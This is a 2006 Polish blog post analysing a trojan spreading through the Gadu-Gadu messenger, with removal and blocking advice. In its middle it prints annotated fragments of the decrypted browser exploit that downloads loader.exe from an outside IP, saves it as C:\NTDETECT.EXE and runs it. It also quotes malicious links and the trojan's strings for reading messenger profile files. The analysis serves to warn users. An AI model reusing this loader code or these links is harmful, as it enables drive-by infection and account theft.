eRIZ’s weblog

PHP, webdesign, Linux, Windows i inne, bo nie samym chlebem człowiek żyje
Serdecznie zapraszam do udziału w ANKIECIE

Gadu-Padu - trojanik

Zaaktualizowano: 27 grudnia 2006 (zobacz modyfikację)

Przez ostatnie dwa dni zauważyłem w opisach wielu ludzi tekst podobny do tego: “padło mi gg” albo “nie dochodzą moje wiadomości”. Heh, myśle sobie, że może serwerek uznał delikwentów za spammerów, bo korzystali z inwigilatorów. Ale nieee, sprawa jest chyba trochę grubsza, na dodatek - na skalę masową. Od wczoraj komunikacja większości osób przebiega przez opisy. Na domiar złego dzisiaj dostaję sznurek z opisem:

wybuch w niemczech www.supercqb.com/material_2006_19_11_14970.html

Wcześniej dostał to brat i jak zwykle do niego “odpal to”. No co? Trzeba wiedzieć, co to jest, nie? :D

Ok, tak jak podejrzewaliśmy - trojanik. Kiedyś czytałem, że powstał robak typu proof-of-concept napisany na potrzeby GS, który wysyła wiadomości do wszystkich z listy. Oczywiście w treści był link do niego samego, czyli taka matrioszka.

Po otwarciu linku uruchamia się strona do złudzenia podobna do about:blank (czyli do czystej). Zaglądam pod maskę, a tam zaszyfrowany kod. Trochę zawiły algorytm, ale mnie się na razie nie chce go odszyfrować :P

Robak ten wykorzystał pewnie owego PoC, bo link doń prowadzący dostałem już od kilku osób.

Wspomniałem, że GS blokuje osoby spammujące (czyli wysyłające więcej niż ileśtam wiadomości w ciągu minuty). Jeśli ktoś ma rozbudowaną listę, to trojan bardzo szybko wykorzysta ten limit. Podejrzewam, że właśnie to jest przyczyną problemów.

Istnieje również opcja, że robak posiada wbudowaną obsługę protokołu, a dane wyciąga sobie z profilu użytkownika, więc mógłby egzystować nawet bez zainstalowanego GS (np. na chwilę instalujesz, by konto założyć, wywalasz, ale profil zostawiasz).

Jakie jest rozwiązanie? Przeskanować kompa na obecność wirusów i napisać do autorów GG z prośbą o odblokowanie numeru lub założyć sobie nowy…

Najlepiej, oczywiście, nie korzystać z oryginalnego klienta GS. :P Jak już wcześniej wspomniałem, istnieje opcja, że trojan wykorzystuje pozostałości po profilu użytkownika.

UWAGA: Przed skanowaniem antywirusem upewnij się, że masz najnowsze bazy!!!

edit: Brat wysłał maila do GG i dostał taką odpowiedź:

Blokady zakładane i zdejmowane sa automatycznie. Czas ich trwania zalezy od popełnionego wykroczenia. Zazwyczaj jest to od kilku godzin do kilku dni. Proszę zatem uzbroić się w cierpliwość.

UPDATE

Dzisiaj zaatakował inny trojan. Rozsyła się przez inny link: www.hsqvyrpzeh.info/?awbiby.jpg. W celu zamaskowania podaje losową wartość query string (tą po znaku zapytania). Tym razem, zapewne w celu ukrycia przed osobami, które chciałyby ostrzec innych, robak sprawdza user-agent i gdy używamy IE - przesyła kod (oczywiście zaszyfrowany). Analizując rozpracowany kod można doszukać się ciekawych fragmentów:


  1. function Get_Win_Version(IE_vers)  //funkcja "przydatna" w dalszej części kodu
  2.  
  3. //poszukajmy folderu autostartu :P
  4. try {
  5.         var obj_WScript = obj_RDS.CreateObject("WScript.Shell","");
  6. }catch(e){};
  7. try {
  8.         var wshProcEnv = obj_WScript.Environment("PROCESS")
  9.         hdrive=wshProcEnv("HOMEDRIVE");
  10.         dtemp=wshProcEnv("TEMP");
  11. } catch(e){};
  12.  
  13. if (hdrive == "") {
  14.         hdrive="C:";
  15. }
  16. try {
  17.         dstart=obj_WScript.SpecialFolders("Startup");
  18. }
  19.  
  20. //teraz dopiero się zacznie - exploit ściąga trojanika z sieci
  21. obj_msxml2.open("GET","http://66.185.126.34:1080/vnew/loader.exe",false);
  22. obj_msxml2.send();
  23. obj_adodb.type1;
  24. obj_adodb.open();
  25. obj_adodb.Write(obj_msxml2.responseBody);
  26.  
  27. //dobra, wiemy, że programik zapisał się w autostarcie, ale sensu tego poniżej nie rozumiem... Po co zapisywać w koszu?
  28. fn = "C:\\RECYCLER\\"+Math.round(Math.random()*(1000000-1)+10000)+".exe";
  29. obj_adodb.SaveToFile(fn,2);
  30.  
  31. //o yeah, let's dance - popatrz, gdzie jesteśmy :D
  32. //początkowo umknie oku, ale w oryginale mamy inne rozszerzenie
  33. var fn = "C:\\NTDETECT.EXE";
  34. obj_adodb.SaveToFile(fn,2)
  35. obj_adodb.close();
  36. obj_ShellApp.ShellExecute(fn);
  37. //w ten sposób spada ryzyko ręcznego usunięcia, bez udziału AV
  38.  
  39. //robaczek działa na każdej wersji Windows:
  40. var agt=getProperties(navigator).toLowerCase();
  41. if(navigator.appName=="Microsoft Internet Explorer"){
  42.         var IEversion=navigator.appVersion;
  43.         var IEplatform=navigator.platform;
  44.         if(IEplatform.search("Win32") != -1){
  45.                 var WinOS=Get_Win_Version(IEversion);
  46.                
  47.                 switch (WinOS){
  48.                         case "XPSP2":
  49.                                 rds();
  50.                                 wvf();
  51.                         break;
  52.                        
  53.                         case "XP":
  54.                                 mdac();
  55.                                 java();
  56.                                 setTimeout('wvf()',3000);
  57.                         break;
  58.                        
  59.                         case "2K":
  60.                                 mdac();
  61.                                 java();
  62.                                 xml();
  63.                         break;
  64.                        
  65.                         case "2K3":
  66.                                 mdac();
  67.                                 java();
  68.                                 xml();
  69.                         break;
  70.                        
  71.                         case "98":
  72.                                 mdac();
  73.                                 java();
  74.                                 xml();
  75.                         break;
  76.                        
  77.                         case "ME":
  78.                                 mdac();
  79.                                 java();
  80.                                 xml();
  81.                         break;
  82.                        
  83.                         case "NT":
  84.                                 mdac();
  85.                                 java();
  86.                                 xml();
  87.                         break;
  88.                        
  89.                         case "95":
  90.                                 mdac();
  91.                                 java();
  92.                                 xml();
  93.                         break;
  94.                        
  95.                         default:
  96.                                 rds();
  97.                         break;
  98.                 }     
  99.         }
  100. }
  101. //...łącznie z Windows 2003

Wcześniej jest jeszcze zaszyfrowany kawałek kodu.

OK, exploit już się uruchomił, zobaczmy, co mamy dalej. Ściągnięty i urchomiony został exec wielkości ~42KB. Co w nim mamy? Otóż, staranność jego zaszyfrowania już nie jest taka, z jaką mieliśmy do czynienia w explocie. Podejrzałem sobie delikwenta. Przy końcu pliku można zauważyć coś takiego:

  1. //trochę "emotów", żeby wysyłane wiadomości wyglądały jak prawdziwe; nie wiem, czy ta tablica jest w rzeczywistości używana, ale - z tego, co widziałem - nie
  2. <nie><tak><zdziwiony><beczy><lol><rotfl><zawstydzony><ziewa><hmmm><niedowiarek>
  3. <urodziny><winko><gool><palacz>
  4.  
  5. //i główna procedura wysyłania - otwiera się zwykłe gniazdko do hosta gg:
  6. GET /appsvc/appmsg4.asp?fmnumber=%ld&version=6%%2C+1%%2C+0%%2C+158&fmt=2&lastmsg=3553 HTTP/1.0
  7. Host: appmsg.gadu-gadu.pl
  8. Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, application/x-shockwave-flash, */\*
  9. Accept-Language: pl
  10. User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt)
  11. Pragma: no-cache
  12.  
  13. //sprintf - szukamy pliku konfiguracyjnego profilu
  14. %s\Gadu-Gadu\*  sprintf %s\Gadu-Gadu\%s\config.dat  sprintf %s\Gadu-Gadu\%s\smseab.dat

Czyli miałem wcześniej rację - exploit jest samowystarczalny. Wystarczy, że ktoś będzie miał zainstalowane samo GS i trojan sam sobie poradzi. Działanie jest takie samo, jak wcześniej - znaleźć profil, rozesłać się - zablokować profil. Nihil novi…

Zauważyłem nowy objaw: od osób z zainfekowanym kompem trojan wysyła kilkuznakowe, losowe ciągi znaków + któryś z emotów.

24 komentarzy

dopisz swój :: trackback :: RSS z komentarzami

RSS z komentarzami :: trackback

Skomentuj

Możesz używać znaczników XHTML. Dozwolone są następujące tagi: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <code> <em> <i> <strike> <strong>

Wszystkie komentarze przechodzą przez moderację oraz filtry antyspamowe. Nie zostanie opublikowany komentarz, jeśli:

  • Jego treść obraża kogokolwiek.
  • W treści znajdują się wulgaryzmy i słownictwo ogólnie uznane za nieprzyzwoite.
  • Mam wątpliwości co do autora wpisu (Wszelkie anonimy są kasowane - niezależnie od zawartości - wpisz prawdziwy e-mail. Jeśli usunąłem, Twoim zdaniem, komentarz niesłusznie - daj znać). Zdarza się, iż sprawdzam kim jest komentujący.
  • Zawiera jakąkolwiek formę reklamy.

Szufladka